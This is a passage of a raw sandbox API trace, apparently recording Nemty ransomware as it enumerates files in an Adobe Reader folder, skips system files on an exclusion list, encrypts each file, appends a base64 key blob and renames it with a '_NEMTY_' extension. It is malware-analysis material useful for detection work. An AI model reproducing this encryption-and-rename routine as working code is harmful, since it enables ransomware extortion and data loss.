hHeap=0x4f90000) returned 1 [0176.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0176.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SUO", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0176.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SUO", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.SUO", lpUsedDefaultChar=0x0) returned 19 [0176.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0176.510] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0176.510] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0176.510] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SUO", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0176.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SUO", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.SUO", lpUsedDefaultChar=0x0) returned 19 [0176.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0176.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0176.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SUO", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0176.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.SUO", cchWideChar=19, lpMultiByteStr=0x4f9ed08, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.SUO", lpUsedDefaultChar=0x0) returned 19 [0176.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0176.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0176.511] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.511] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0176.511] Sleep (dwMilliseconds=0x5) [0176.514] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cdb2ad0, dwHighDateTime=0x1d561e8)) [0176.514] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cdb2ad0, dwHighDateTime=0x1d561e8)) [0176.514] GetLastError () returned 0x0 [0176.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.514] GetLastError () returned 0x0 [0176.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0176.514] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.514] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.514] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0176.514] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e5dc | out: pszString="WC2LYoTdEf5zpfNfYa+UjAWfOFoEGJjX6ZJCoMNu1WEQnFVvR+aS+SyYPiKs6EwV\r\nR2C1vmlbzE1pGeK2nt8cLwGJycTCHjUheq0L7BS3Mvdwg3qR1NPJXuyLbI/+MT4v\r\nGVytDFmo4hyf5TcRTXgYY5H3iQfoevyoHSi+XIMwEv/ttR/duxRToRfiSNG58hkw\r\nkxlzayl2AQyzs6SCnoXs9eaJ3D75RP1Xicz/uFU7oP1+yNvi7g+zwzDcRxoGFDd0\r\n5DRhsCQ1vIxxnuBzRt4Db/3BXRf9EH/tm98X8KSAmxOaDyLG7FBebos4OqMQBeD9\r\nnNYL3BWEihsyS05s6WSfAA==\r\n", pcchString=0x653e5dc) returned 1 [0176.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0176.514] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0176.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0176.514] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.514] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\AdobeCollabSync.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\adobecollabsync.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.515] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0176.515] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0176.515] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.515] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0176.517] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.517] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0176.517] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.517] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0176.518] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.518] CloseHandle (hObject=0x2e8) returned 1 [0176.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0176.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0176.518] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0176.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0176.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0176.518] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0176.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0176.518] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0176.518] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\AdobeCollabSync.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\adobecollabsync.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\AdobeCollabSync.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\adobecollabsync.suo._nemty_kgobjgd_")) returned 1 [0176.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0176.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0176.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0176.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.520] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d6d1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x77800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.SUO", cAlternateFileName="")) returned 1 [0176.520] lstrcmpiW (lpString1="Annots.SUO", lpString2=".") returned 1 [0176.520] lstrcmpiW (lpString1="Annots.SUO", lpString2="..") returned 1 [0176.520] lstrcmpiW (lpString1="Annots.SUO", lpString2="...") returned 1 [0176.520] lstrcmpiW (lpString1="Annots.SUO", lpString2="windows") returned -1 [0176.520] lstrcmpiW (lpString1="Annots.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.520] lstrcmpiW (lpString1="Annots.SUO", lpString2="rsa") returned -1 [0176.520] lstrcmpiW (lpString1="Annots.SUO", lpString2="NTDETECT.COM") returned -1 [0176.520] lstrcmpiW (lpString1="Annots.SUO", lpString2="ntldr") returned -1 [0176.520] lstrcmpiW (lpString1="Annots.SUO", lpString2="MSDOS.SYS") returned -1 [0176.520] lstrcmpiW (lpString1="Annots.SUO", lpString2="IO.SYS") returned -1 [0176.520] lstrcmpiW (lpString1="Annots.SUO", lpString2="boot.ini") returned -1 [0176.520] lstrcmpiW (lpString1="Annots.SUO", lpString2="boot.ini") returned -1 [0176.520] lstrcmpiW (lpString1="Annots.SUO", lpString2="AUTOEXEC.BAT") returned -1 [0176.520] lstrcmpiW (lpString1="Annots.SUO", lpString2="ntuser.dat") returned -1 [0176.520] lstrcmpiW (lpString1="Annots.SUO", lpString2="desktop.ini") returned -1 [0176.520] lstrcmpiW (lpString1="Annots.SUO", lpString2="CONFIG.SYS") returned -1 [0176.520] lstrcmpiW (lpString1="Annots.SUO", lpString2="RECYCLER") returned -1 [0176.520] lstrcmpiW (lpString1="Annots.SUO", lpString2="BOOTSECT.BAK") returned -1 [0176.521] lstrcmpiW (lpString1="Annots.SUO", lpString2="bootmgr") returned -1 [0176.521] lstrcmpiW (lpString1="Annots.SUO", lpString2="programdata") returned -1 [0176.521] lstrcmpiW (lpString1="Annots.SUO", lpString2="appdata") returned -1 [0176.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SUO", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.SUO", lpUsedDefaultChar=0x0) returned 10 [0176.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SUO", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.SUO", lpUsedDefaultChar=0x0) returned 10 [0176.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SUO", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.SUO", lpUsedDefaultChar=0x0) returned 10 [0176.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SUO", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0176.521] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.SUO", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.SUO", lpUsedDefaultChar=0x0) returned 10 [0176.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0176.521] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.521] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0176.521] Sleep (dwMilliseconds=0x5) [0176.527] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cdd8c30, dwHighDateTime=0x1d561e8)) [0176.527] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cdd8c30, dwHighDateTime=0x1d561e8)) [0176.527] GetLastError () returned 0x0 [0176.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.527] GetLastError () returned 0x0 [0176.527] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.528] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.528] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.528] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0176.528] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="ZhdSyXDNzJyX7r8X3z664TgP+EsnN9bzlHZbZ0XZXhhFfkJYrsBP3Op0NoJP6CFh\r\ngZgwvtl3L7Bgp/TsiOxpsdebSMXIoxTHy3gLu6z1J0g6Q7hQn9qaIEo5852YPyik\r\nBLhn0l8XqRPPsj/OlJWDBrQjnTr6JIzI5q3Cc6i7ZbBSD3HoTB7Ad0OEvl7DcpL8\r\nJLRHaKtegRb87y3JIvZopHozV5Vp/rV8LFExPZj5LYimthz/zOQXxJ5sMGpcEkig\r\nGwPUHEUhljgXUVBZTTMYD2PuixVbrfxwXRIl9Ob2vmIAUqyvOEY90/Na1maQ9yrN\r\nM8wkuFHeWdqt32hl5X8DFw==\r\n", pcchString=0x653e5dc) returned 1 [0176.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.528] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0176.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.528] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Annots.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\annots.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.528] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=489472) returned 1 [0176.528] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0176.528] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.528] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0176.537] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.537] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0176.538] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.538] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=489472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x77800 [0176.538] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.539] CloseHandle (hObject=0x2e8) returned 1 [0176.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0176.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.539] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0176.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.539] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.539] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Annots.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\annots.suo"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Annots.SUO._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\annots.suo._nemty_kgobjgd_")) returned 1 [0176.540] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0176.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0176.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.541] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0176.541] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.SUO", cAlternateFileName="BRDLAN~1.SUO")) returned 1 [0176.541] lstrcmpiW (lpString1="BRdlang32.SUO", lpString2=".") returned 1 [0176.541] lstrcmpiW (lpString1="BRdlang32.SUO", lpString2="..") returned 1 [0176.541] lstrcmpiW (lpString1="BRdlang32.SUO", lpString2="...") returned 1 [0176.541] lstrcmpiW (lpString1="BRdlang32.SUO", lpString2="windows") returned -1 [0176.541] lstrcmpiW (lpString1="BRdlang32.SUO", lpString2="$RECYCLE.BIN") returned 1 [0176.541] lstrcmpiW (lpString1="BRdlang32.SUO", lpString2="rsa") returned -1 [0176.541] lstrcmpiW (lpString1="BRdlang32.SUO", lpString2="NTDETECT.COM") returned -1 [0176.541] lstrcmpiW (lpString1="BRdlang32.SUO", 